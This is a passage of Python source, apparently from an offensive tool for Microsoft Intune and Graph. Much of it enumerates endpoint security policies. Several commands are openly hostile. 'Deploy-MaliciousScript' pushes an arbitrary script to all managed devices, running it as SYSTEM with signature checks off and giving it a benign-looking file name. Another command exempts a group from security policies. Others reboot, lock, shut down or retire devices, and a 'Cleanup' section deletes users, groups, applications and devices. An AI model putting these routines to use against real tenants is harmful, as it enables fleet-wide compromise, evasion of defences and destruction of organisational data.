- mapped_value = 'BLOCK'
- elif value_suffix == 'allow':
- mapped_value = 'ALLOW'
- else:
- mapped_value = value_suffix.upper()
-
- print(f"{mapped_value:<10} : {description}")
-
- # group setting collection values
- for setting in response_json.get('value', []):
- if 'settingInstance' in setting and 'groupSettingCollectionValue' in setting['settingInstance']:
- group_settings = setting['settingInstance']['groupSettingCollectionValue']
- for group_setting in group_settings:
- for child in group_setting.get('children', []):
- choice_setting_value = child.get('choiceSettingValue', {})
- value = choice_setting_value.get('value', '')
- setting_id = child.get('settingDefinitionId', '')
-
- if setting_id in settings_map:
- description = settings_map[setting_id]['description']
- value_suffix = value[len(setting_id):].lstrip('_')
-
- if value_suffix in settings_map[setting_id]['values']:
- mapped_value = settings_map[setting_id]['values'][value_suffix]
- elif value_suffix == 'block':
- mapped_value = 'BLOCK'
- elif value_suffix == 'allow':
- mapped_value = 'ALLOW'
- else:
- mapped_value = value_suffix.upper()
-
- print(f"{mapped_value:<10} : {description}")
-
- else:
- print_red(f"[-] Failed to retrieve settings: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
-
- # display-asrpolicyrules
- elif args.command and args.command.lower() == "display-asrpolicyrules":
- if not args.id:
- print_red("[-] Error: --id argument is required for Display-ASRPolicyRules command")
- return
-
- print_yellow("\n[*] Display-ASRPolicyRules")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings"
- if args.select:
- api_url += "?$select=" + args.select
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'Content-Type': 'application/json',
- 'User-Agent': user_agent
- }
-
- settings_map = {
- "blockadobereaderfromcreatingchildprocesses": "Block Adobe Reader from creating child processes",
- "blockprocesscreationsfrompsexecandwmicommands": "Block process creations from PSExec and WMI commands",
- "blockexecutionofpotentiallyobfuscatedscripts": "Block execution of potentially obfuscated scripts",
- "blockpersistencethroughwmieventsubscription": "Block persistence through WMI event subscription",
- "blockwin32apicallsfromofficemacros": "Block Win32 API calls from Office macros",
- "blockofficeapplicationsfromcreatingexecutablecontent": "Block Office applications from creating executable content",
- "blockcredentialstealingfromwindowslocalsecurityauthoritysubsystem": "Block credential stealing from Windows local security authority subsystem",
- "blockexecutablefilesrunningunlesstheymeetprevalenceagetrustedlistcriterion": "Block executable files running unless they meet prevalence age trusted list criterion",
- "blockjavascriptorvbscriptfromlaunchingdownloadedexecutablecontent": "Block JavaScript or VBScript from launching downloaded executable content",
- "blockofficecommunicationappfromcreatingchildprocesses": "Block Office communication app from creating child processes",
- "blockofficeapplicationsfrominjectingcodeintootherprocesses": "Block Office applications from injecting code into other processes",
- "blockallofficeapplicationsfromcreatingchildprocesses": "Block all Office applications from creating child processes",
- "blockwebshellcreationforservers": "Block web shell creation for servers",
- "blockuntrustedunsignedprocessesthatrunfromusb": "Block untrusted unsigned processes that run from USB",
- "useadvancedprotectionagainstransomware": "Use advanced protection against ransomware",
- "blockexecutablecontentfromemailclientandwebmail": "Block executable content from email client and webmail",
- "blockabuseofexploitedvulnerablesigneddrivers": "Block abuse of exploited vulnerable signed drivers"
- }
-
- response = requests.get(api_url, headers=headers)
-
- if response.status_code == 200:
- response_json = response.json()
-
- if "value" in response_json:
- for item in response_json["value"]:
- setting_instance = item.get("settingInstance", {})
- group_settings = setting_instance.get("groupSettingCollectionValue", [])
-
- for group in group_settings:
- children = group.get("children", [])
-
- for child in children:
- choice_setting_value = child.get("choiceSettingValue", {})
- value = choice_setting_value.get("value", "")
-
- if value:
- parts = value.split("_")
- if len(parts) >= 2:
- action = parts[-1].upper()
- rule_name = "_".join(parts[:-1])
- rule_name = rule_name.replace("device_vendor_msft_policy_config_defender_attacksurfacereductionrules_", "")
- readable_rule = settings_map.get(rule_name, rule_name)
- print(f"{action:<6}: {readable_rule}")
- else:
- print_red(f"Failed to retrieve settings: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # display-diskencryptionpolicyrules
- elif args.command and args.command.lower() == "display-diskencryptionpolicyrules":
- if not args.id:
- print_red("[-] Error: --id argument is required for Display-DiskEncryptionPolicyRules command")
- return
-
- print_yellow("\n[*] Display-DiskEncryptionPolicyRules")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" #?$expand=settingDefinitions"
-
- if args.select:
- api_url += "?$select=" + args.select
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'Content-Type': 'application/json',
- 'User-Agent': user_agent
- }
-
- settings_map = {
- "device_vendor_msft_bitlocker_fixeddrivesencryptiontype": "Enforce drive encryption type on fixed data drives",
- "device_vendor_msft_bitlocker_fixeddrivesrecoveryoptions": "Choose how BitLocker-protected fixed drives can be recovered",
- "device_vendor_msft_bitlocker_fixeddrivesrequireencryption": "Deny write access to fixed drives not protected by BitLocker",
- "device_vendor_msft_bitlocker_systemdrivesencryptiontype": "Enforce drive encryption type on operating system drives",
- "device_vendor_msft_bitlocker_systemdrivesrequirestartupauthentication": "Require additional authentication at startup",
- "device_vendor_msft_bitlocker_systemdrivesminimumpinlength": "Configure minimum PIN length for startup",
- "device_vendor_msft_bitlocker_systemdrivesenhancedpin": "Allow enhanced PINs for startup",
- "device_vendor_msft_bitlocker_systemdrivesdisallowstandarduserscanchangepin": "Disallow standard users from changing the PIN or password",
- "device_vendor_msft_bitlocker_systemdrivesenableprebootpinexceptionondecapabledevice": "Allow devices compliant with InstantGo or HSTI to opt out of pre-boot PIN",
- "device_vendor_msft_bitlocker_systemdrivesenableprebootinputprotectorsonslates": "Enable use of BitLocker authentication requiring preboot keyboard input on slates",
- "device_vendor_msft_bitlocker_systemdrivesrecoveryoptions": "Choose how BitLocker-protected operating system drives can be recovered",
- "device_vendor_msft_bitlocker_systemdrivesrecoverymessage": "Configure pre-boot recovery message and URL",
- "device_vendor_msft_bitlocker_removabledrivesconfigurebde": "Control use of BitLocker on removable drives",
- "device_vendor_msft_bitlocker_removabledrivesrequireencryption": "Deny write access to removable drives not protected by BitLocker",
- "device_vendor_msft_bitlocker_encryptionmethodbydrivetype": "Choose drive encryption method and cipher strength (Windows 10 [Version 1511] and later)",
- "device_vendor_msft_bitlocker_identificationfield": "Provide the unique identifiers for your organization",
- "device_vendor_msft_bitlocker_requiredeviceencryption": "Require Device Encryption",
- "device_vendor_msft_bitlocker_allowwarningforotherdiskencryption": "Allow Standard User Encryption",
- "device_vendor_msft_bitlocker_configurerecoverypasswordrotation": "Configure Recovery Password Rotation"
- }
-
- response = requests.get(api_url, headers=headers)
-
- if response.status_code == 200:
- response_json = response.json()
-
- for setting in response_json.get('value', []):
- if 'settingInstance' in setting and 'choiceSettingValue' in setting['settingInstance']:
- value_field = setting['settingInstance']['choiceSettingValue'].get('value')
- if value_field:
- cleaned_value = value_field.rstrip('_01')
- if cleaned_value in settings_map:
- setting_text = settings_map[cleaned_value]
- if value_field.endswith('_1'):
- print(f"ENABLED : {setting_text}")
- elif value_field.endswith('_0'):
- print(f"DISABLED : {setting_text}")
- else:
- print(f"{setting_text} - {value_field}")
-
- else:
- print_red(f"[-] Failed to retrieve settings: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # display-firewallpolicyrules - firewall config
- # - todo
-
- # display-firewallrulepolicyrules - actual firewall rules
- elif args.command and args.command.lower() == "display-firewallrulepolicyrules":
- if not args.id:
- print_red("[-] Error: --id argument is required for Display-FirewallPolicyRules command")
- return
-
- print_yellow("\n[*] Display-FirewallPolicyRules")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings"
-
- if args.select:
- api_url += "?$select=" + args.select
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'Content-Type': 'application/json',
- 'User-Agent': user_agent
- }
-
- response = requests.get(api_url, headers=headers)
-
- if response.status_code == 200:
- response_json = response.json()
-
- for setting in response_json.get('value', []):
- if 'settingInstance' in setting and setting['settingInstance']['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationGroupSettingCollectionInstance":
- for group in setting['settingInstance'].get('groupSettingCollectionValue', []):
- rule_name = ""
- rule_action = ""
- rule_direction = ""
- rule_enabled = ""
- rule_local_ports = ""
- rule_remote_ports = ""
- rule_description = ""
- rule_interfaces = []
-
- for child in group.get('children', []):
- setting_def_id = child['settingDefinitionId']
- if setting_def_id.endswith("_name"):
- rule_name = child['simpleSettingValue']['value']
- elif setting_def_id.endswith("_action_type"):
- rule_action = "ALLOW" if child['choiceSettingValue']['value'].endswith("_0") else "BLOCK"
- elif setting_def_id.endswith("_direction"):
- rule_direction = "INBOUND" if child['choiceSettingValue']['value'].endswith("_in") else "OUTBOUND"
- elif setting_def_id.endswith("_enabled"):
- rule_enabled = "ENABLED" if child['choiceSettingValue']['value'].endswith("_1") else "DISABLED"
- elif setting_def_id.endswith("_localportranges"):
- rule_local_ports = ", ".join([port['value'] for port in child['simpleSettingCollectionValue']])
- elif setting_def_id.endswith("_remoteportranges"):
- rule_remote_ports = ", ".join([port['value'] for port in child['simpleSettingCollectionValue']])
- elif setting_def_id.endswith("_description"):
- rule_description = child['simpleSettingValue']['value']
- elif setting_def_id.endswith("_interfacetypes"):
- rule_interfaces = [iface['value'].split('_')[-1] for iface in child['choiceSettingCollectionValue']]
-
- rule_interfaces = ", ".join(rule_interfaces)
-
- print(f"Rule Name : {rule_name}")
- print(f"Action : {rule_action}")
- print(f"Direction : {rule_direction}")
- print(f"Enabled : {rule_enabled}")
- print(f"Local Ports : {rule_local_ports}")
- print(f"Remote Ports : {rule_remote_ports}")
- print(f"Description : {rule_description}")
- print(f"Interfaces : {rule_interfaces}")
- print()
-
- else:
- print_red(f"[-] Failed to retrieve settings: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # display-edrpolicyrules
- elif args.command and args.command.lower() == "display-edrpolicyrules":
- if not args.id:
- print_red("[-] Error: --id argument is required for Display-EDRPolicyRules command")
- return
-
- print_yellow("\n[*] Display-EDRPolicyRules")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings"
-
- if args.select:
- api_url += "?$select=" + args.select
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'Content-Type': 'application/json',
- 'User-Agent': user_agent
- }
-
- settings_map = {
- "device_vendor_msft_windowsadvancedthreatprotection_configurationtype": "Microsoft Defender for Endpoint client configuration package type",
- "device_vendor_msft_windowsadvancedthreatprotection_configuration_samplesharing": "Sample sharing",
- }
-
- response = requests.get(api_url, headers=headers)
-
- if response.status_code == 200:
- response_json = response.json()
-
- for setting in response_json.get('value', []):
- if 'settingInstance' in setting and 'choiceSettingValue' in setting['settingInstance']:
- value_field = setting['settingInstance']['choiceSettingValue'].get('value')
- if value_field:
- cleaned_value = value_field.rstrip('_01onboard')
- if cleaned_value in settings_map:
- setting_text = settings_map[cleaned_value]
- if value_field.endswith('_1'):
- print(f"ENABLED : {setting_text}")
- elif value_field.endswith('_0'):
- print(f"DISABLED : {setting_text}")
- elif value_field.endswith('_onboard'):
- print(f"ONBOARD : {setting_text}")
- else:
- print(f"{setting_text} - {value_field}")
-
- else:
- print_red(f"[-] Failed to retrieve settings: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # display-lapsaccountprotectionpolicyrules
- elif args.command and args.command.lower() == "display-lapsaccountprotectionpolicyrules":
- if not args.id:
- print_red("[-] Error: --id argument is required for Display-LAPSAccountProtectionPolicyRules command")
- return
-
- print_yellow("\n[*] Display-LAPSAccountProtectionPolicyRules")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings"
-
- if args.select:
- api_url += "?$select=" + args.select
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'Content-Type': 'application/json',
- 'User-Agent': user_agent
- }
-
- settings_map = {
- "device_vendor_msft_windowsadvancedthreatprotection_configurationtype": "Microsoft Defender for Endpoint client configuration package type",
- "device_vendor_msft_windowsadvancedthreatprotection_configuration_samplesharing": "Sample sharing",
- "device_vendor_msft_laps_policies_backupdirectory": {
- "description": "Backup Directory",
- "values": {
- "0": "Disabled (password will not be backed up)",
- "1": "Backup the password to Azure AD only",
- "2": "Backup the password to Active Directory only"
- }
- },
- "device_vendor_msft_laps_policies_passwordagedays": "Password Age Days",
- "device_vendor_msft_laps_policies_passwordagedays_aad": "Password Age Days (AAD)",
- "device_vendor_msft_laps_policies_passwordexpirationprotectionenabled": {
- "description": "Password Expiration Protection",
- "values": {
- "0": "Password Expiration Protection Disabled",
- "1": "Password Expiration Protection Enabled"
- }
- },
- "device_vendor_msft_laps_policies_adpasswordencryptionenabled": {
- "description": "AD Password Encryption",
- "values": {
- "0": "AD Password Encryption Disabled",
- "1": "AD Password Encryption Enabled"
- }
- },
- "device_vendor_msft_laps_policies_adpasswordencryptionprincipal": "AD Password Encryption Principal",
- "device_vendor_msft_laps_policies_adencryptedpasswordhistorysize": "AD Encrypted Password History Size",
- "device_vendor_msft_laps_policies_administratoraccountname": "Administrator Account Name",
- "device_vendor_msft_laps_policies_passwordcomplexity": {
- "description": "Password Complexity",
- "values": {
- "1": "Large letters",
- "2": "Large letters + small letters",
- "3": "Large letters + small letters + numbers",
- "4": "Large letters + small letters + numbers + special characters",
- "5": "Large letters + small letters + numbers + special characters (improved readability)"
- }
- },
- "device_vendor_msft_laps_policies_passwordlength": "Password Length",
- "device_vendor_msft_laps_policies_postauthenticationactions": {
- "description": "Post Authentication Actions",
- "values": {
- "1": "Reset password: upon expiry of the grace period, the managed account password will be reset.",
- "3": "Reset the password and logoff the managed account: upon expiry of the grace period, the managed account password will be reset and any interactive logon sessions using the managed account will be terminated.",
- "5": "Reset the password and reboot: upon expiry of the grace period, the managed account password will be reset and the managed device will be immediately rebooted."
- }
- },
- "device_vendor_msft_laps_policies_postauthenticationresetdelay": "Post Authentication Reset Delay"
- }
-
- response = requests.get(api_url, headers=headers)
-
- if response.status_code == 200:
- response_json = response.json()
-
- for setting in response_json.get('value', []):
- setting_instance = setting.get('settingInstance')
- setting_def_id = setting_instance.get('settingDefinitionId')
- if setting_instance and setting_def_id:
- if setting_instance['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationChoiceSettingInstance":
- choice_value = setting_instance.get('choiceSettingValue', {}).get('value')
- if choice_value and setting_def_id in settings_map:
- setting_text = settings_map[setting_def_id]
- if isinstance(setting_text, dict):
- setting_description = setting_text.get('description', setting_def_id)
- setting_value = setting_text['values'].get(choice_value.split('_')[-1], choice_value)
- print(f"{setting_description}: {setting_value}")
- else:
- print(f"{setting_text}: {choice_value}")
-
- children = setting_instance.get('choiceSettingValue', {}).get('children', [])
- for child in children:
- child_def_id = child.get('settingDefinitionId')
- if child['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationSimpleSettingInstance":
- simple_value = child.get('simpleSettingValue', {}).get('value')
- if simple_value and child_def_id in settings_map:
- mapped_value = settings_map[child_def_id]
- if isinstance(mapped_value, dict):
- description = mapped_value.get('description', child_def_id)
- value = mapped_value['values'].get(str(simple_value), simple_value)
- print(f"{description}: {value}")
- else:
- print(f"{mapped_value}: {simple_value}")
-
- elif setting_instance['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationSimpleSettingInstance":
- simple_value = setting_instance.get('simpleSettingValue', {}).get('value')
- if simple_value and setting_def_id in settings_map:
- mapped_value = settings_map[setting_def_id]
- if isinstance(mapped_value, dict):
- description = mapped_value.get('description', setting_def_id)
- value = mapped_value['values'].get(str(simple_value), simple_value)
- print(f"{description}: {value}")
- else:
- print(f"{mapped_value}: {simple_value}")
-
- else:
- print_red(f"[-] Failed to retrieve settings: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # display-usergroupaccountprotectionpolicyrules
- elif args.command and args.command.lower() == "display-usergroupaccountprotectionpolicyrules":
- if not args.id:
- print_red("[-] Error: --id argument is required for Display-UserGroupAccountProtectionPolicyRules command")
- return
-
- print_yellow("\n[*] Display-UserGroupAccountProtectionPolicyRules")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings"
-
- if args.select:
- api_url += f"?$select={args.select}"
-
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'Content-Type': 'application/json',
- 'User-Agent': get_user_agent(args)
- }
-
- response = requests.get(api_url, headers=headers)
-
- if response.status_code == 200:
- settings = response.json().get('value', [])
-
- local_groups = []
- for setting in settings:
- group_setting_collection = setting.get('settingInstance', {}).get('groupSettingCollectionValue', [])
- for group_setting in group_setting_collection:
- children = group_setting.get('children', [])
- for child in children:
- child_children = child.get('groupSettingCollectionValue', [])
- for child_child in child_children:
- for item in child_child.get('children', []):
- if item.get('settingDefinitionId') == "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_userselectiontype":
- choice_value = item.get('choiceSettingValue', {}).get('value', '')
- description = "Users/Groups" if choice_value.endswith("_users") else "Manual"
- print(f"User selection type: {description}")
-
- if item.get('settingDefinitionId') == "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action":
- choice_value = item.get('choiceSettingValue', {}).get('value', '')
- action_map = {
- "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action_add_update": "Add (Update)",
- "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action_remove_update": "Remove (Update)",
- "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action_add_restrict": "Add (Replace)"
- }
- action = action_map.get(choice_value, choice_value)
- print(f"Group and user action: {action}")
-
- if item.get('settingDefinitionId') == "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc":
- group_map = {
- "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_administrators": "Administrators",
- "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_users": "Users",
- "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_remotedesktopusers": "Remote Desktop Users",
- "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_remotemanagementusers": "Remote Management Users",
- "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_powerusers": "Power Users",
- "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_guests": "Guests"
- }
- for choice in item.get('choiceSettingCollectionValue', []):
- group = group_map.get(choice.get('value', ''), choice.get('value', ''))
- local_groups.append(group)
-
- if local_groups:
- print(f"Local groups: {', '.join(local_groups)}")
-
- else:
- print_red(f"[-] Failed to retrieve settings: {response.status_code}")
- print_red(response.text)
-
- print("=" * 80)
-
- # get-devicecompliancepolicies
- elif args.command and args.command.lower() == "get-devicecompliancepolicies":
- print_yellow("\n[*] Get-DeviceCompliancePolicies")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceCompliancePolicies?$expand=assignments,scheduledActionsForRule($expand=scheduledActionConfigurations)"
-
- if args.select:
- api_url += "?$select=" + args.select
-
- try:
- output_returned = False
- while api_url:
- user_agent = get_user_agent(args)
- headers = {
- "Authorization": f"Bearer {access_token}",
- "User-Agent": user_agent
- }
- response = requests.get(api_url, headers=headers)
- response.raise_for_status()
- response_body = response.json()
- filtered_data = {key: value for key, value in response_body.items() if not key.startswith("@odata")}
-
- if filtered_data and 'value' in filtered_data:
- for d in filtered_data.get('value', []):
- for key, value in d.items():
- if key == "assignments":
- if not value:
- print_red("assignments : no assignments")
- else:
- print_green(f"{key} : {value}")
- elif key == "scheduledActionsForRule":
- if not value:
- print_red("scheduledActionsForRule : no scheduled actions")
- else:
- print_green(f"{key} : {value}")
- else:
- print(f"{key} : {value}")
- print("\n")
- output_returned = True
-
- api_url = response_body.get("@odata.nextLink")
-
- if not output_returned:
- print_red("[-] No data found")
-
- except requests.exceptions.RequestException as ex:
- print_red(f"[-] HTTP Error: {ex}")
-
- print("=" * 80)
-
- # add-exclusiongrouptopolicy
- elif args.command and args.command.lower() == "add-exclusiongrouptopolicy":
- if not args.id:
- print_red("[-] Error: --id argument is required for Add-ExclusionGroupToPolicy command")
- return
-
- print_yellow("\n[*] Add-ExclusionGroupToPolicy")
- print("=" * 80)
-
- assignments_api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/assignments"
- assign_api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/assign"
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'Content-Type': 'application/json',
- 'User-Agent': user_agent
- }
-
- # get the current assignments so we don't mess up day-to-day ops
- response = requests.get(assignments_api_url, headers=headers)
- if response.ok:
- current_assignments = response.json().get('value', [])
- else:
- print_red(f"[-] Failed to retrieve current assignments: {response.status_code}")
- print_red(response.text)
- return
-
- try:
- groupid = input("\nEnter Group ID To Exclude: ").strip()
- except KeyboardInterrupt:
- sys.exit()
-
- new_assignments = current_assignments + [
- {
- "target": {
- "@odata.type": "#microsoft.graph.exclusionGroupAssignmentTarget",
- "groupId": groupid
- }
- }
- ]
-
- body = {
- "assignments": new_assignments
- }
-
- response = requests.post(assign_api_url, headers=headers, json=body)
- if response.ok:
- print_green(f"\n[+] Excluded group added to policy rules")
- else:
- print_red(f"\n[-] Failed to add excluded group to policy rules: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # update-manageddeviceconfig - todo
- # https://learn.microsoft.com/en-us/graph/api/intune-devices-manageddevice-update?view=graph-rest-beta
-
- # deploy-maliciousscript
- elif args.command and args.command.lower() == "deploy-maliciousscript":
- if not args.script:
- print_red("[-] Error: --script argument is required for Deploy-MaliciousScript command")
- return
-
- print_yellow("\n[*] Deploy-MaliciousScript")
- print("=" * 80)
-
- script_content = read_file_content(args.script)
-
- try:
- display_name = input("\nEnter Script Display Name: ").strip()
- description = input("Enter Script Description: ").strip()
- except KeyboardInterrupt:
- sys.exit()
-
- user_agent = get_user_agent(args)
-
- url_create = "https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts"
- headers = {
- "Authorization": f"Bearer {access_token}",
- "Content-Type": "application/json",
- "User-Agent": user_agent
- }
- encoded_script_content = base64.b64encode(script_content.encode('utf-8')).decode('utf-8')
- script_payload = {
- "@odata.type": "#microsoft.graph.deviceManagementScript",
- "displayName": display_name,
- "description": description,
- "runSchedule": {
- "@odata.type": "microsoft.graph.runSchedule"
- },
- "scriptContent": encoded_script_content,
- "runAsAccount": "system",
- "enforceSignatureCheck": False,
- "fileName": "Deploy-PrinterSettings.ps1" # legitimate intune management extension script name
- }
-
- response = requests.post(url_create, headers=headers, json=script_payload)
- if response.status_code == 201:
- print_green("\n[+] Script created successfully")
- script_id = response.json().get('id')
- print(f"Script ID: {script_id}")
-
- url_assign = f"https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts/{script_id}/assign"
-
- # assigns to all devices currently
- # - more options here: https://learn.microsoft.com/en-us/graph/api/resources/intune-devices-devicemanagementscriptassignment?view=graph-rest-beta
- assignment_payload = {
- "deviceManagementScriptAssignments": [
- {
- "target": {
- "@odata.type": "#microsoft.graph.allDevicesAssignmentTarget"
- }
- }
- ]
- }
-
- response = requests.post(url_assign, headers=headers, json=assignment_payload)
- if response.status_code == 200:
- print_green("\n[+] Script assigned to all devices")
- else:
- print_red(f"[-] Failed to assign script: {response.status_code}")
- print(response.text)
- else:
- print_red(f"[-] Failed to create script: {response.status_code}")
- print(response.text)
- print("=" * 80)
-
- # deploy-maliciouswin32app
- # - todo, needs IntuneWinAppUtil.exe to package the EXE/MSI
- # - user will have to packagae app prior
-
- # reboot-device
- elif args.command and args.command.lower() == "reboot-device":
- if not args.id:
- print_red("[-] Error: --id argument is required for Reboot-Device command")
- return
-
- print_yellow("\n[*] Reboot-Device")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/rebootNow"
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'Content-Type': 'application/json',
- 'User-Agent': user_agent
- }
-
- response = requests.post(api_url, headers=headers)
- if response.ok:
- print_green(f"[+] Device reboot initiated successfully")
- else:
- print_red(f"[-] Failed to initiate device reboot: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # retire-device
- elif args.command and args.command.lower() == "retire-device":
- if not args.id:
- print_red("[-] Error: --id argument is required for Retire-Device command")
- return
-
- print_yellow("\n[*] Retire-Device")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/retire"
- user_agent = get_user_agent(args)
-
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'User-Agent': user_agent
- }
-
- response = requests.post(api_url, headers=headers)
- if response.ok:
- print_green(f"[+] Device retire initiated successfully")
- else:
- print_red(f"[-] Failed to initiate device retire: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # lock-device
- elif args.command and args.command.lower() == "lock-device":
- if not args.id:
- print_red("[-] Error: --id argument is required for Lock-Device command")
- return
-
- print_yellow("\n[*] Lock-Device")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/remoteLock"
- user_agent = get_user_agent(args)
-
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'User-Agent': user_agent
- }
-
- response = requests.post(api_url, headers=headers)
- if response.ok:
- print_green(f"[+] Device lock initiated successfully")
- else:
- print_red(f"[-] Failed to initiate device lock: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # shutdown-device
- elif args.command and args.command.lower() == "shutdown-device":
- if not args.id:
- print_red("[-] Error: --id argument is required for Shutdown-Device command")
- return
-
- print_yellow("\n[*] Shutdown-Device")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/shutDown"
- user_agent = get_user_agent(args)
-
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'User-Agent': user_agent
- }
-
- response = requests.post(api_url, headers=headers)
- if response.ok:
- print_green(f"[+] Device shutdown initiated successfully")
- else:
- print_red(f"[-] Failed to initiate device shutdown: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # add more from
- # https://learn.microsoft.com/en-us/graph/api/resources/intune-devices-manageddevice?view=graph-rest-beta
-
-
- ###########
- # Cleanup #
- ###########
-
- # delete-user
- elif args.command and args.command.lower() == "delete-user":
- if not args.id:
- print_red("[-] Error: --id argument is required for Delete-User command")
- return
-
- print_yellow("\n[*] Delete-User")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}"
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'User-Agent': user_agent
- }
-
- response = requests.delete(api_url, headers=headers)
- if response.ok:
- print_green(f"[+] User deleted")
- else:
- print_red(f"[-] Failed to delete user: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # delete-group
- elif args.command and args.command.lower() == "delete-group":
- if not args.id:
- print_red("[-] Error: --id argument is required for Delete-Group command")
- return
-
- print_yellow("\n[*] Delete-Group")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/v1.0/groups/{args.id}"
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'User-Agent': user_agent
- }
-
- response = requests.delete(api_url, headers=headers)
- if response.ok:
- print_green(f"[+] Group deleted")
- else:
- print_red(f"[-] Failed to delete group: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # remove-groupmember
- elif args.command and args.command.lower() == "remove-groupmember":
- if not args.id:
- print_red("[-] Error: --id groupid,objectid required for Remove-GroupMember command")
- return
-
- ids = args.id.split(',')
- if len(ids) != 2:
- print_red("[-] Please provide two IDs separated by a comma (group ID, object ID).")
- return
-
- group_id, member_id = ids[0].strip(), ids[1].strip()
- print_yellow("\n[*] Remove-GroupMember")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/v1.0/groups/{group_id}/members/{member_id}/$ref"
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'User-Agent': user_agent
- }
-
- response = requests.delete(api_url, headers=headers)
- if response.ok:
- print_green(f"[+] Group member removed")
- else:
- print_red(f"[-] Failed to remove group member: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # delete-application
- elif args.command and args.command.lower() == "delete-application":
- if not args.id:
- print_red("[-] Error: --id argument is required for Delete-Application command")
- return
-
- print_yellow("\n[*] Delete-Application")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}"
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'User-Agent': user_agent
- }
-
- response = requests.delete(api_url, headers=headers)
- if response.ok:
- print_green(f"[+] Application deleted")
- else:
- print_red(f"[-] Failed to delete application: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # delete-device
- elif args.command and args.command.lower() == "delete-device":
- if not args.id:
- print_red("[-] Error: --id argument is required for Delete-Device command")
- return
-
- print_yellow("\n[*] Delete-Device")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/v1.0/devices/{args.id}"
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'User-Agent': user_agent
- }
-
- response = requests.delete(api_url, headers=headers)
- if response.ok:
- print_green(f"[+] Device deleted")
- else:
- print_red(f"[-] Failed to delete user: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # wipe-device
